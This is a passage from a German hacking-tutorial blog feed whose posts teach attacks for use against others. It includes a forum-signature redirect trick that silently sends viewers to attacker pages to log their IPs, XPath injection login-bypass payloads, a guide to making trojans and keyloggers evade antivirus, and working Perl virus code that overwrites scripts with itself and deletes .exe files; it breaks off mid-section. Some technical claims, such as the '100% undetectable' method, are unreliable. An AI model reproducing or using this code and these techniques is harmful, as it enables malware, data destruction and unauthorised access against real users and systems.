Tut0r1al [v2.0] http://tut0r1al.back2hack.cc Your Tutorial Blog Since 2007 Sun, 27 May 2012 01:45:15 +0000 en hourly 1 http://wordpress.org/?v=3.3.2 Vulnerability Summary http://feedproxy.google.com/~r/Tut0r1alv20/~3/4wv149pti7s/ http://tut0r1al.back2hack.cc/xss/vulnerability-summary/#comments Sun, 27 May 2012 01:45:15 +0000 admin http://tut0r1al.back2hack.cc/?p=117 Vulnerability Summary
Ich fasse hier mal die bekanntesten und meist genutzten Securitybugs zusammen und
führe kleine Beschreibungen dazu.

——————-Websecurity———————-

Simple Passwords:
Versteht sich von selbst und ist eigentlich auch keine Lücke, sondern erlaubt nur schnellen Zugriff

IG – Information Gathering:
Hier wird versucht Infomationen über den Server zu erhalten

URD – URL Redirection:
Hier entsteht ein Redirect zu einer eigenen Seite von einer originalen, optimal für Phishing und Spam

File Disclosure:
Hier könnt ihr auf Konfigurationsdateien sowie Datenbanken mit dem richtigen Pfad zugreifen
Backupfiles beachten

Code Disclosure:
Hier wird der Source Code angezeigt, aus welchem man viele Informationen entnehmen kann

Directory Disclosure:
Man kann die Verzeichnisstruktur einsehen

XSS – Cross Site Scripting:
Hier kann der User durch Fehler in der Programmierung Clientseitig JS-Code ausführen

XSF – Cross Frame Scripting:
Hier kann der User durch Fehler in z.B. Browsern auch Änderungen an fremden Frames vornehmen

XSRF – Cross Site Request Forgery:
Man kann Seitenübergreifende Aktionen starten wie meistens neue User anlegen etc..

XSC – Cross Site Cooking:
Ähnelt der XSF, oft ein Bug im Browser erlaubt, dass die Cookies manipuliert werden können

XST – Cross Site Tracing:
Ähnlich wie XSS nur wird der Angriff meist über andere Server geleitet wie der Name Trace schon sagt

XZS – Cross Zone Scripting:
Hier wird die fehlerhafte Programmierung von Privilegien ausgenutzt, so kann man leicht Malware einschleusen

ISCH – Insecure Cookie Handling:
Durch einfache Änderung des Cookies erlangt man mehr Rechte, meist einfacher und logischer Plaintext

Session Hijacking:
Die Authentifikation von mehreren Computern wird durch “falsche” Sessionids oder -Informationen umgangen
So auch Session Fixation

SQL-I – SQL Injection:
Hier wird versucht den Query zu manipulieren und Werte aus der Datenbank zu lesen

XPATH Injection:
Ähnelt der SQL Injection, nur das hier die Abfragesprache XPATH benutzt wird

Email Injection:
Hier kann der User durch fehlerhafte Programmierung ohne Wissen des Admins Mails versenden

LDAP Injection:
Hier könnr ihr ähnlich wie bei der SQL Injection die Abfrage des LDAP verändern

LFI – Local File Inclusion:
Entsteht durch einen Fehler in der Programmierung einer PHP Seite, es lassen sich locale Dateien anzeigen

RFI – Remote File Inclusion:
Ähnelt der LFI, nur dass man auch Scripte auf anderen Servern einschleusen kann

RCE – Remote Command Execution:
Hier lässt sich PHP-Code direkt in einem Script ausführen

—————-Local Security——————–

BOF – Bufferoverflow:
Hier wird der Speicherbereich eines Programms mit Daten überschritten, es kann fremder Code ausgeführt werden

POF – Pointeroverflow:
Ähnelt dem BoF, allerdings werden keine Datenpakete geschrieben sondern Adressen (Pointer)

STOF – Stackoverflow:
Wird der Speicherbereich des Stacks überschritten, kann ebenfalls eigener Code ausgeführt werden

FS – Format String Vuln:
Werden Eingaben nicht genau gefiltert, kann der User sich z.B. Werte von Stack ausgeben lassen

Format Infection:
Durch Fehler im Dateiformat z.B. ELF kann man ebenfalls fremden Code starten

MC – Memory Corruption:
Durch einen Programmierfehler kann die Speicherpositionierung modifiziert werden

Privilege Escalation:
Durch derartige Lücken, bekommt der User Rechte, welche eigentlich vor ihm geschützt sind

Autor: fred777

Quelle: creative-coding.us

Suchanfragen zu diesem Artikel:

Verwandte Beiträge

]]> http://tut0r1al.back2hack.cc/xss/vulnerability-summary/feed/ 0 http://tut0r1al.back2hack.cc/xss/vulnerability-summary/ Code ausführen und Visits http://feedproxy.google.com/~r/Tut0r1alv20/~3/PuMQm2C8peA/ http://tut0r1al.back2hack.cc/hijacking/code-ausfuhren-und-visits/#comments Sat, 26 May 2012 12:13:57 +0000 admin http://tut0r1al.back2hack.cc/?p=74 Code ausführen lassen – ohne Aktion des Users!

Viele echte Visits bekommen – ohne viel Aufwand

# written by phire

————————————————

Willkommen zu diesem Tutorial.

Hier erfährst du, wie du andere beliebigen Code in Foren o.ä. ausführen lässt,

ohne dass jemand davon was mitbekommt und wie du mit geringem Aufwand

sehr viele Visits von echten Usern erhälst (ohne deren Wissen).

Das gute daran is, dass du die URL (wo der Code ausgeführt wird bzw. wo die Visits erfolgen)

selbst bestimmen kannst und dass du sie jederzeit ändern kannst – ohne irgendeinen Verlust.

Mit dem BB-Tag [img] kann man in sämtlichen Foren etc. Bilder in Form einer URL einfügen.

Ein Beispiel mit dem Google Logo:

[img]http://www.google.de/intl/de_de/images/logo.gif[/img]

Diese BB-Tags kann man z.B. meistens in der Signatur nutzen.

Somit erscheint das Bild unter jedem Beitrag, den man schreibt.

Jetzt schauen wir etwas weiter hinter die Kulissen:

Der Browser sendet an den angegebenen Server (wo das Bild liegt) einen HTTP-Request.

Daraufhin antwortet der Server mit einer HTTP-Response.

In dieser Response übergibt der Server bestimmte Informationen, wie z.B. den Status Code.

Jeder Status Code hat bestimmte Bedeutungen. 200 bedeutet z.B. dass alles OK is,

also dass das Bild vorhanden is und kein Fehler aufgetreten is.

In diesem Fall wird das Bild dann in der Signatur ganz normal angezeigt.

Die Status Codes 301 und 302 stehen für Weiterleitungen (Redirects).

302 is der Standard Status Code für Weiterleitungen und steht für eine temporäre Weiterleitung.

301 steht für eine permanente Weiterleitung.

Die Weiterleitungen kann man zum Beispiel in einer htaccess Datei definieren.

Auf einem Server kann z.B. http://www.meinserver.de/bild.jpg nach http://www.google.de/ weitergeleitet werden.

In vielen Webanwendungen, z.B. Forensystemen, is es möglich genau das auszunutzen.

Hier wird in der Signatur mit [img]http://www.meinserver.de/bild.jpg[/img] das Bild eingebunden.

Wegen der 301 Weiterleitung wird dann zu http://www.google.de/ weitergeleitet und Google erhält somit einen Visit mehr ;)

Hier nun eine Step-by-Step Anleitung:

1. Besorgt euch Webspace, wo ihr htaccess Dateien hochladen könnt und wo mod_rewrite aktiviert is.

Können ruhig Free-Hoster sein ;-)

Registriert euch z.B. kostenlos bei kilu.deE-Mail Link bestätigen, paar Minuten warten und einloggen.

Da stehen dann die FTP Daten etc.

Connectet mit nem x-beliebigen FTP Programm zum FTP Server.

Wechselt ins www Verzeichnis und ladet dort euer Bild hoch.

Meins is hier zu finden: http://visitstut.kilu.de/1338.png

2. Ladet eine htaccess Datei für die 301 Weiterleitung hoch.

Erstellt eine neue Datei mit dem Namen htaccess.txt und mit folgendem Inhalt:

RewriteEngine On

RewriteRule ^EUERBILD.JPG$ http://URLZURDERWEITERGELEITETWERDENSOLL/ [L,R=301]

EUERBILD.JPG müsst ihr durch euer eben hochgeladenes Bild ersetzen.

URLZURDERWEITERGELEITETWERDENSOLL müsst ihr durch die URL ersetzen, die die Visits erhalten soll.

Bzw. wo der Code ausgeführt werden soll (dazu später mehr).

Mein Beispiel:

RewriteEngine On

RewriteRule ^1338.png$ http://www.google.de/ [L,R=301]

Danach speichern und ebenfalls im selben Verzeichnis hochladen.

Wenn sie hochgeladen wurde, müsst ihr sie mit eurem FTP Programm in .htaccess umbenennen (Punkt beachten!)

Jetzt sollte man zu der angegebenen URL weitergeleitet werden, wenn man das Bild aufruft.

Jeder, der z.B. in einem Forum einen Thread betrachtet, wo eure Sig is, sendet den Request!

Der User merkt gar nichts, euer Bild wird einfach nicht angezeigt.

Aber ein Visit wurde wegen der Weiterleitung trotzdem gemacht ;)

Das funktioniert nicht überall, aber in vielen Webanwendungen!

Im SMF funktioniert das nicht, aber im Invision Power Board etc. auf jeden Fall.

Gut, ich würd also in meinem Fall folgendes in der Sig schreiben:

[img]http://visitstut.kilu.de/1338.png[/img]

Jeder, der ne Seite aufruft, wo diese Sig drin vorkommt, wird ohne es zu wissen nach Google weitergeleitet.

Zum Verständnis:

Der User bleibt auf der Seite und merkt wie gesagt nichts. Aus folgendem Grund:

Es wird nur versucht das Signatur Bild zu laden. Der Browser versucht also auf die angegebene Bild URL

zuzugreifen und stellt eine 301 Weiterleitung fest, die er dann folgt. Da findet er dann in diesem

Beispiel die Startseite von Google. Da die Startseite von Google kein Bild is, wird in der Sig auch nichts angezeigt.

Wenn ihr nach einem anderen Bild weiterleiten würdet, würde das zweite Bild auch in der Sig normal angezeigt werden.

3. So könnt ihr es testen

Erstellt eine leere Textdatei mit dem Namen log.txt und ladet sie auf eurem FTP Server hoch.

Danach erstellt ihr eine PHP Datei mit dem Namen logvisit.php und folgendem Inhalt:

<?php

$handle = fopen(“log.txt”, “a+”);

fwrite($handle, “Funktioniert!\n”);

fclose($handle);

?>

Diese Datei auch hochladen.

Jetzt ändert ihr den Inhalt der .htaccess:

RewriteEngine On

RewriteRule ^EUERBILD.JPG$ EURERSERVER/logvisit.php [L,R=301]

EUERBILD.JPG und EUERSERVER muss wieder ersetzt werden.

In meinem Beispiel:

RewriteEngine On

RewriteRule ^1338.png$ http://visitstut.kilu.de/logvisit.php [L,R=301]

Nun wird nach logvisit.php weitergeleitet, die auf eurem Server liegt.

Die logvisit.php schreibt hier einfach nur “Funktioniert!” in jeweils eine neue Zeile in die log.txt

Beim anschauen des Threads bzw. der Seite, wo eure Sig is, wird dann immer der Text in die log.txt geschrieben.

Das is bei jedem User, der den Thread / die Seite anschaut der Fall.

4. Code ausführen leicht gemacht!

Alle User führen unbemerkt den PHP Code aus, indem sie den Thread / die Seite betrachten.

Da ihr zu jeder URL weiterleiten könnt, könnt ihr auch jeden beliebigen Code ausführen lassen.

Man könnte hier zum Beispiel anstatt “Funktioniert!” die IP Adresse loggen.

Du sagst z.B. zu jemandem “schau dir mal diesen Thread da an”, er klickt drauf und liest den Thread.

Der Thread wird ganz normal angezeigt. In echt wurde aber auch seine IP auf deinem Server geloggt!

Und IP loggen is noch das mindeste… was man mit PHP alles machen kann, muss ich wohl nicht erwähnen.

Ausserdem kann man nicht nur PHP Code ausführen, sondern jeden, den der Webserver versteht.

Dies könnte man auch gut in Verbindung mit CSRF Lücken ausnutzen, aber darum geht’s hier nicht.

Ich werde vllt. demnächst noch ein Tutorial schreiben, in dem in einige Möglichkeiten aufliste.

5. Kurz-Schritt Anleitung anhand des Beispiels

# Hoster mit htaccess/mod_rewrite Unterstützung suchen

# Bild für Sig dort hochladen (Bsp: http://visitstut.kilu.de/1338.png)

# .htaccess Datei erstellen:

RewriteEngine On

RewriteRule ^1338.png$ http://www.google.de/ [L,R=301]

# Bild in der Sig einfügen (zum Beispiel in einem Invision Power Board Forum):

[img]http://visitstut.kilu.de/1338.png[/img]

# Fertig – Jeder, der den Thread, das Profil, etc. wo die Sig is anschaut, besucht ungewollt die angegebene URL (hier Google)

Wie gesagt, es funktioniert oft, aber nicht überall. SMF scheint dagegen gesichert zu sein.

Mit Invision Power Board hab ich’s getestet – da funktionierts einwandfrei.

Wenn ihr sowas nur für Visits nutzt (und nicht um Code auszuführen) und aktiv in dem Board seid,

dann werdet ihr einige tausende oder zigtausende Visits erhalten. Jeder Aufruf wird gezählt.

Es sind übrigens mehrere Weiterleitungen möglich! Bindet einfach zwei verschiedene Bilder mit [img]

in der Signatur ein und definiert zwei RewriteRules wie oben gezeigt in der .htaccess Datei.

 

 

Autor: phire

Quelle: Unbekannt

Suchanfragen zu diesem Artikel:

Zufällige Beiträge

]]> http://tut0r1al.back2hack.cc/hijacking/code-ausfuhren-und-visits/feed/ 1 http://tut0r1al.back2hack.cc/hijacking/code-ausfuhren-und-visits/ Advanced Phishing http://feedproxy.google.com/~r/Tut0r1alv20/~3/w-8Uy940zsA/ http://tut0r1al.back2hack.cc/phishing/advanced-phishing/#comments Fri, 25 May 2012 23:16:36 +0000 admin http://tut0r1al.back2hack.cc/?p=325 Autor: der_Dude

Quelle: back2hack.cc

Hoster: uploaded.to

Thema: Advanced Phishing

Länge: 04:58 min.

Dateityp: .avi

Dl. größe: 9,04 MB

Gepackt mit: WinRAR

Passwort: tut0r1al.5x.to

Zufällige Beiträge

]]> http://tut0r1al.back2hack.cc/phishing/advanced-phishing/feed/ 0 http://tut0r1al.back2hack.cc/phishing/advanced-phishing/ XPATH Injection – Login Bypass http://feedproxy.google.com/~r/Tut0r1alv20/~3/gaV5mcE-n0s/ http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/#comments Fri, 25 May 2012 10:31:30 +0000 admin http://tut0r1al.back2hack.cc/?p=111 XPATH Injection – Login Bypass

Nun möchte euch eine Art der XPATH Injection vorstellen.

Ich kenne nicht alle Arten , doch diese ist mir bekannt

Ich weiß nicht ob ihr euch schonmal über XPATH (xml) informiert habt

Vorab ;

xml dateien sind zumeist vom Administrator höchst wertvolle Dokumente , die zB den Login
richten können.

Ich zeige euch den Teil eines xml Login Dokumentes und werde euch den Vorgang
mit XPATH Injection erklären , sodass ihr denn Login über einen Bypass schafft

Code:
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
  <user>
    <id> 1 </id>
    <username> admin </username>
    <password> test123 </password>
  </user>
  <user>
    <id> 2 </id>
    <username> user </username>
    <password> pass </password>
  </user>
</users>

Der Coder hat den Path also den so genannten XPATH genau in seinem Script (der unten steht) angegeben.

Code:
String username = req.getParameter("username");
String password = req.getParameter("password");
XPathFactory factory = XPathFactory.newInstance();
XPath xpath = factory.newXPath();
File file = new File("/usr/webappdata/users.xml");
InputSource src = new InputSource(new FileInputStream(file));
XPathExpression expr = xpath.compile("//users[username/text()=' " +
    username + " ' and password/text()=' "+ password +" ']/id/text()");

Der Code ließt das xml Dokument und sucht nach den Daten die für den Login aufeinander stimmen.

Wir nehmen als login daten username=admin password=test123

Die Txt Zeilen Antwort wird also so lauten

Code:
 //users[username/text()='admin' and password/text()='test123']/id/ text()

Und hier werden wir die XPATH Injection mit Bypass beginnen

Da wir die Werte so anpassen konnten ohne das die Abfrage im ersten Login Dokument abgegeben werden ,
können wir diese mit ‘ or ’1=’1 oder etwas anderem (bypass) wie realusername’ OR 1=1′– / admin’-

beeinflussen und uns erfolgreich einloggen.

So können wir uns auch ohne das richtige Passwort einen Weg zum Administration Panel überbrücken.

###

visit www.acceptthefuture.wordpress.com
visit 1nj3ct-Crew – und3rcore

###

‘;alert(trisn)

Autor: trisn

Quelle: creative-coding.us

Suchanfragen zu diesem Artikel:

Verwandte Beiträge

]]> http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/feed/ 0 http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/ BufferOverflow Workshop http://feedproxy.google.com/~r/Tut0r1alv20/~3/KJE1MHiz8tw/ http://tut0r1al.back2hack.cc/bufferoverflows/bufferoverflow-workshop/#comments Thu, 24 May 2012 21:39:23 +0000 admin http://tut0r1al.back2hack.cc/?p=409 Autor: Cheese

Quelle:Back2Hack.cc

Hoster: uploaded.to

Thema: Ein Sehr gelungener Workshop zum Thema BufferOverflow

Länge: 01:13:23 min.

Dateityp: .wmv

Dl. größe: 124,04 MB

Gepackt mit: WinRAR

Passwort: tut0r1al.5x.to

Suchanfragen zu diesem Artikel:

Zufällige Beiträge

]]> http://tut0r1al.back2hack.cc/bufferoverflows/bufferoverflow-workshop/feed/ 1 http://tut0r1al.back2hack.cc/bufferoverflows/bufferoverflow-workshop/ 100% Full undetected http://feedproxy.google.com/~r/Tut0r1alv20/~3/hCxlnXQdSTE/ http://tut0r1al.back2hack.cc/crypten/full-undetected/#comments Thu, 24 May 2012 08:47:41 +0000 admin http://tut0r1al.back2hack.cc/?p=33 Zu allererst solltet ihr euch ein wenig den Aufbau einer PE Datei anschauen:

[ PE HEADER ^ 00004550h ]

[ OPTIONALER HEADER / DATENABLAGE ]

[ SECTIONS / FLAGS ]

– Code Section
– Initialisierte Daten
– Uninitialisierte Daten
– Shared Block
– Executable
– Readable
– Writable

Ein PE Datei besteht aus einem DOS-MZ-Header + DOS Stub und einem PE Header. Darauf folgt die Section Table, die beliebig

viele Sections enthalten kann. Jede Section darf gewisse Flags besitzen, die ihr gewisse Dinge zuweisen.

Die Interessanten Flags sind die Flags SHARED, EXECUTABLE, READABLE und WRITABLE.

Shared Flag: Sorgt dafür, dass die Sektion mit diesem Flag nur ein mal in den Speicher geladen wird. Ist das Flag nicht

gesetzt, wird sie jedes mal aufs neue in den Speicher geladen.

Readable: Erlaubt Lesezugriff.

Writable: Erlaubt Schreibzugriff (kann zu Kollisionen mit Writable kommen).
Ein PE-Header sieht kodiert standartmäßig immer so aus:

4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 E8 00 00 00
0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F
74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20
6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00

Wenn ihr nun euren Trojaner/Keylogger/Blubb undetectable haben wollt, nehmt eure PE-Datei und vertauscht die Sektionen sowie

die Parts.

Beispiel:

\x44\x00\xE8\x3F\x24\x01\x00\x83\xC4\x04\x81
\x06\xFC\xEF\xFF\xFF\xC3\x50\x8B\xCE\xE8\xB7
\xF2\xFF\xFF\x81\x06\xFC\xEF\xFF\xFF\xC3\x8B
\x57\x18\x83\xEC\x10\x83\xFA\x10\x53\x55\x56
\x8D\x77\x04\x72\x04\x8B\x06\xEB\x02\x8B\xC6
\x8B\x4F\x14\x8D\x2C\x01\x85\xED\x74\x20\x83
\xFA\x10\x72\x04\x8B\x06\xEB\x02\x8B\xC6\x3B
\xC5\x77\x11\x83\xFA\x10\x72\x04\x8B\x06\xEB
\x02\x8B\xC6\x03\xC8\x3B\xE9\x76\x05\xE8\xBE
\x22\x01\x00\x8B\x4F\x18\x83\xF9\x10\x72\x04
\x8B\x1E\xEB\x02\x8B\xDE\x85\xDB\x74\x1F\x83
\xF9\x10\x72\x04\x8B\x06\xEB\x02\x8B\xC6\x3B
\xC3\x77\x10\x83\xF9\x10\x72\x02\x8B\x36\x8B
\x47\x14\x03\xC6\x3B\xD8\x76\x05\xE8\x88\x22
\x01\x00\x55\x57\x53\x57\x8D\x4C\x24\x20\x51
\x57\xE8\x15\x00\x00\x00\x5E\x5D\x5B\x83\xC4
\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC
\xCC\xCC\xCC\xCC\xCC\x53\x55\x56\x8B\x74\x24
\x10\x8B\x4E\x18\x83\xF9\x10\x57\x8D\x5E\x04
\x72\x04\x8B\x3B\xEB\x02\x8B\xFB\x85\xFF\x74
\x23\x83\xF9\x10\x72\x04\x8B\x03\xEB\x02\x8B
\xC3\x3B\xC7\x77\x14\x83\xF9\x10\x72\x04\x8B
\x03\xEB\x02\x8B\xC3\x8B\x4E\x14\x03\xC8\x3B
\xF9\x76\x05\xE8\x1F\x22\x01\x00\x83\x7C\x24
\x20\x00\x8B\x6C\x24\x1C\x75\x04\x33\xF6\xEB
\x18\x83\xFD\xFE\x74\x0D\x85\xED\x74\x04\x3B
\xEE\x74\x05\xE8\xFE\x21\x01\x00\x8B\x74\x24
\x20\x2B\xF7\x8B\x7C\x24\x28\x85\xFF\x75\x04
\x33\xC0\xEB\x1C\x8B\x44\x24\x24\x83\xF8\xFE
\x74\x0D\x85\xC0\x74\x04\x3B\xC5\x74\x05\xE8
\xD6\x21\x01\x00\x2B\x7C\x24\x20\x8B\xC7\x8B
\x6C\x24\x14\x50\x56\x8B\xCD\xE8\x1F\x6C\xFF
\xFF\x8B\x4D\x18\x83\xF9\x10\x72\x04\x8B\x03
\xEB\x02\x8B\xC3\x03\xF0\x8B\x7C\x24\x18\xC7
\x07\x00\x00\x00\x00\x74\x23\x83\xF9\x10\x72
\x04\x8B\x03\xEB\x02\x8B\xC3\x3B\xC6\x77\x14
\x83\xF9\x10\x72\x04\x8B\x03\xEB\x02\x8B\xC3
\x8B\x55\x14\x03\xD0\x3B\xF2\x76\x05\xE8\x7F
\x21\x01\x00\x89\x2F\x89\x77\x04\x8B\xC7\x5F
\x5E\x5D\x5B\xC2\x18\x00\xCC\xCC\xCC\xCC\xCC
\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x6A\xFF\x68
\x86\xB5\x43\x00\x64\xA1\x00\x00\x00\x00\x50
\x53\x56\x57\xA1\xC0\xCC\x44\x00\x33\xC4\x50
\x8D\x44\x24\x10\x64\xA3\x00\x00\x00\x00\x8B
\x7C\x24\x20\x33\xDB\x8D\x77\x1C\x53\xC7\x46
\x18\x07\x00\x00\x00\x89\x5E\x14\x68\x04\x3C
\x44\x00\x66\x89\x5E\x04\xE8\x0B\x6C\xFF\xFF
\x89\x5C\x24\x18\x8D\x77\x38\x53\xC7\x46\x18
\x07\x00\x00\x00\x89\x5E\x14\x68\x04\x3C\x44
\x00\x66\x89\x5E\x04\xE8\xEB\x6B\xFF\xFF\xB8
\x01\x00\x00\x00\x88\x44\x24\x18\x8B\x4C\x24
\x24\x89\x0F\x89\x47\x18\xC7\x44\x24\x18\xFF
\xFF\xFF\xFF\x8B\xC7\x8B\x4C\x24\x10\x64\x89
\x0D\x00\x00\x00\x00\x59\x5F\x5E\x5B\x83\xC4
\x0C\xC2\x08\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC
\xCC\xCC\xCC\x55\x8B\xEC\x83\xE4\xF8\x6A\xFF
\x68\x08\xC0\x43\x00\x64\xA1\x00\x00\x00\x00
\x50\x83\xEC\x28\xA1\xC0\xCC\x44\x00\x33\xC4
\x89\x44\x24\x20\x53\x56\x57\xA1\xC0\xCC\x44
\x00\x33\xC4\x50\x8D\x44\x24\x38\x64\xA3\x00
\x00\x00\x00\x8B\x45\x08\x89\x44\x24\x10\x33
\xDB\x8B\xC1\xC7\x44\x24\x2C\x0F\x00\x00\x00
\x89\x5C\x24\x28\x88\x5C\x24\x18\x8D\x70\x01
\x8A\x10\x83\xC0\x01\x84\xD2\x75\xF7\x2B\xC6
\x50\x51\x8D\x4C\x24\x1C\xE8\xE5\x69\xFF\xFF
\x89\x5C\x24\x40\x8B\x4C\x24\x2C\x83\xF9\x10
\x8B\x54\x24\x18\x8B\xC2\x73\x04\x8D\x44\x24
\x18\x8B\x74\x24\x28\x8D\x3C\x30\x3B\xFB\x74
\x20\x83\xF9\x10\x8B\xC2\x73\x04\x8D\x44\x24
\x18\x3B\xC7\x77\x11\x83\xF9\x10\x8B\xC2\x73
\x04\x8D\x44\x24\x18\x03\xC6\x3B\xF8\x76\x0D
\xE8\x12\x20\x01\x00\x8B\x4C\x24\x2C\x8B\x54
\x24\x18\x83\xF9\x10\x8D\x5C\x24\x14\x0F\x82
\x99\x00\x00\x00\x85\xD2\x8B\xF2\x74\x24\x83
\xF9\x10\x8B\xC2\x73\x04\x8D\x44\x24\x18\x3B
\xC6\x77\x15\x83\xF9\x10\x8B\xC2\x73\x04\x8D
\x44\x24\x18\x8B\x4C\x24\x28\x03\xC1\x3B\xF0
\x76\x05\xE8\xCE\x1F\x01\x00\x8B\x54\x24\x10
\x57\x53\x56\x8D\x44\x24\x20\x50\x8B\x44\x24
\x20\x52\x83\xC0\x1C\xE8\x71\x7E\xFF\xFF\xC7
\x44\x24\x40\xFF\xFF\xFF\xFF\x83\x7C\x24\x2C
\x10\x72\x0D\x8B\x44\x24\x18\x50\xE8\x5A\x22
\x00\x00\x83\xC4\x04\xC7\x44\x24\x2C\x0F\x00
\x00\x00\xC7\x44\x24\x28\x00\x00\x00\x00\xC6
\x44\x24\x18\x00\x8B\x4C\x24\x38\x64\x89\x0D
\x00\x00\x00\x00\x59\x5F\x5E\x5B\x8B\x4C\x24
\x20\x33\xCC\xE8\x68\x1A\x01\x00\x8B\xE5\x5D
\xC2\x04\x00\x8D\x74\x24\x18\xE9\x64\xFF\xFF
\xFF\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x6A\xFF\x68

Ihr splittet das ganze und setzt es ihm Nachhinein wieder aneinander. Das würde euren Trojaner Scantime 100%ig undetectable

machen, wenn er auch Runtime undetectable sein soll, müsst ihr die Speichersegmente einzeln in den Puffer laden.

Das wäre Methode eins, die 100%ig funktioniert und bei einer Stack Randomization dazu führt, dass euer

Trojaner/Keylogger/Blubb zumindest bis zur Heuristik Erkennung dauerhaft undetectable bleibt.

Die zweite Methode ist noch simpler, aber ein wenig uneffektiver. Ihr schreibt einfach euren eigenen “Packer”, dazu empfehle

ich den Lempel Ziv Welch (LZW) Algorithmus, ihr könnt aber gerne verschiedene Algorithmen durchprobieren. Diese sind mit

Sicherheit noch “FUD”. Dazu schreibt ihr ein kleines Tool, welches den Datensatz verschlüsselt und im Code wieder

entschlüsselt (Loader). FSG z.B. fußt auf dasselbe Prinzip.

Also dann, viel Spaß beim hax0rn
Tool zum anagramieren von Code:

#!/usr/bin/perl -w
# Crap Anagramator
# www.katharsis.x2.to

use strict;
use List::Util qw(shuffle);

my $in = shift; # Input file

if (!$in) {
print “\nUsage: code-angrm.pl <file>\n”;
exit;
}

open(F, “<$in”) or die $!;
my $file = join(”, <F>);
close(F);

my @anagr = split(/\n/,$file);

@anagr = shuffle(@anagr);
for (@anagr) {
print $_.”\n”;
}

Autor: katharsis

Quelle: Back2Hack.cc

Suchanfragen zu diesem Artikel:

Zufällige Beiträge

]]> http://tut0r1al.back2hack.cc/crypten/full-undetected/feed/ 0 http://tut0r1al.back2hack.cc/crypten/full-undetected/ Hacking SSH – Angriffe gegen die Secure Shell http://feedproxy.google.com/~r/Tut0r1alv20/~3/Y1Xnr1M8fKc/ http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/#comments Wed, 23 May 2012 20:27:16 +0000 admin http://tut0r1al.back2hack.cc/?p=400 Quelle: www.hakin9.org
Autor(en): Stefan Klaas

Thema: Hacking SSH

In diesem Artikel erfahren
Sie…
• Die Basics des SSH-Protokolls;
• Wie Hacker SSH-Passwörter auslesen und
private Schlüssel knacken;
• SSH Session Hijacking.
Was Sie vorher wissen/können
sollten…
• Sie sollten mit dem Linux-Betriebssystem
vertraut sein. Grundlegende Kenntnisse in der
Administration wären von Vorteil.

Klick here

Suchanfragen zu diesem Artikel:

Verwandte Beiträge

]]> http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/feed/ 0 http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/ Virus writting in Perl Teil 1. http://feedproxy.google.com/~r/Tut0r1alv20/~3/xAquhhZX5W8/ http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/#comments Wed, 23 May 2012 07:37:29 +0000 admin http://tut0r1al.back2hack.cc/?p=120 #!/usr/bin/perl

DaRk-CoDeZDaRk-CoDeZDaRk-CoDeZDaRk-CoDeZ
DaRk-
CoDeZ      Perl Viren Coding
DaRk-         by Perforin
CoDeZ
DaRk-CoDeZDaRk-CoDeZDaRk-CoDeZDaRk-CoDeZ

@@@@@@@@@@@@@@@@@@@@@@@@@@
@Who_the_fuck_is_Perforin@
@@@@@@@@@@@@@@@@@@@@@@@@@@

Das bin ich! Ihr kennt mich wenn dann nur von
Dark-Codez (bin Co-Admin) oder unter meinem alten
Nick; den ich hier aber nicht preis gebe ;)
Ich selbst code mit Perl nun ungef hr nen halbes Jahr +-
Vorher hab ich mich an HTML und Batch versucht.Jedoch
haben beide kein gro es Potential.Und deshalb hab ich
auch mit Perl angefangen.

@@@@@@@@@@@@
@Willkommen@
@@@@@@@@@@@@

Willkommen in meinem TuTorial wie man Perl Viren coded!
Ich erl utere hier einig Methoden und zeige euch Sources
von Viren die ihr gebrauchen k nnt.Alles hier gezeigte
darf nat rlich nur f r Testzwecke gebraucht werden.*hust*
Achja, wenn ihr weitere Codez sehen wollt dann besucht
uns einfach mal unter www.Dark-CodeZ.org!

@@@@@@@@@@@@@@@@@
@file_overwriter@
@@@@@@@@@@@@@@@@@

Also, ich w rde sagen, wenn ihr euch das anschaut habt ihr
wenigstens etwas Ahnung von Perl.Trotzdem bleiben wir mal
beim einfachen und ich zeige euch erstmal einen Fileoverwriter.

#!/usr/bin/perl
open(me, “<”, “$0″);
@ME = <me>;
close(me);
foreach $pl (glob(“*.pl”)) {
open(file, “>”, “$pl”);
print file @ME;
close(file);
}

Der hier macht nichts anderes als alle anderen Perl Dateien
die sich im selben Ordner befinden, mit seinem Code zu
berschreiben.Man kann den nun beliebig erweitern, so dass man
nun zum Beispiel noch Perl Modul Dateien  berschreibt etc. Der
wichtigste Abschnied hier ist wohln da, wo die foreach Schleife
anf ngt. Man k nnte nun noch folgendes anh ngen, wie oben gesagt:

foreach $pl (glob(“*.pm”)) {
open(file, “>”, “$pl”);
print file @ME;
close(file);
}

Aber das ist laaaaaaaaaaaaaaaaangweilig.Deshalb zeig ich euch noch
einen einfachen FileDeleter.

@@@@@@@@@@@@@@
@file_deleter@
@@@@@@@@@@@@@@

Ein Filedeleter macht, wie der Name schon vermuten l sst,nix anderes
als andere Files zu l schen.Ein ganz einfaches Beispiel daf r w re:

#!/usr/bin/perl
foreach $exe (glob(“*.exe”)) {
unlink “$exe”;
}

Hier wird jede EXE Datei die im selben Ordner ist wie der Virii, gel scht.
Dieser kann beliebig erweitert werden.Man muss nur das “*.exe” durch “*.endung”
ersetzen. Wie ihrs halt haben wollt und wie ihr gerade lustig seid.

@@@@@@@@@@@@@@
@file_flooder@
@@@@@@@@@@@@@@

Dies hier ist eine weitere Gattung von Malware die am Anfang wohl ganz witzig
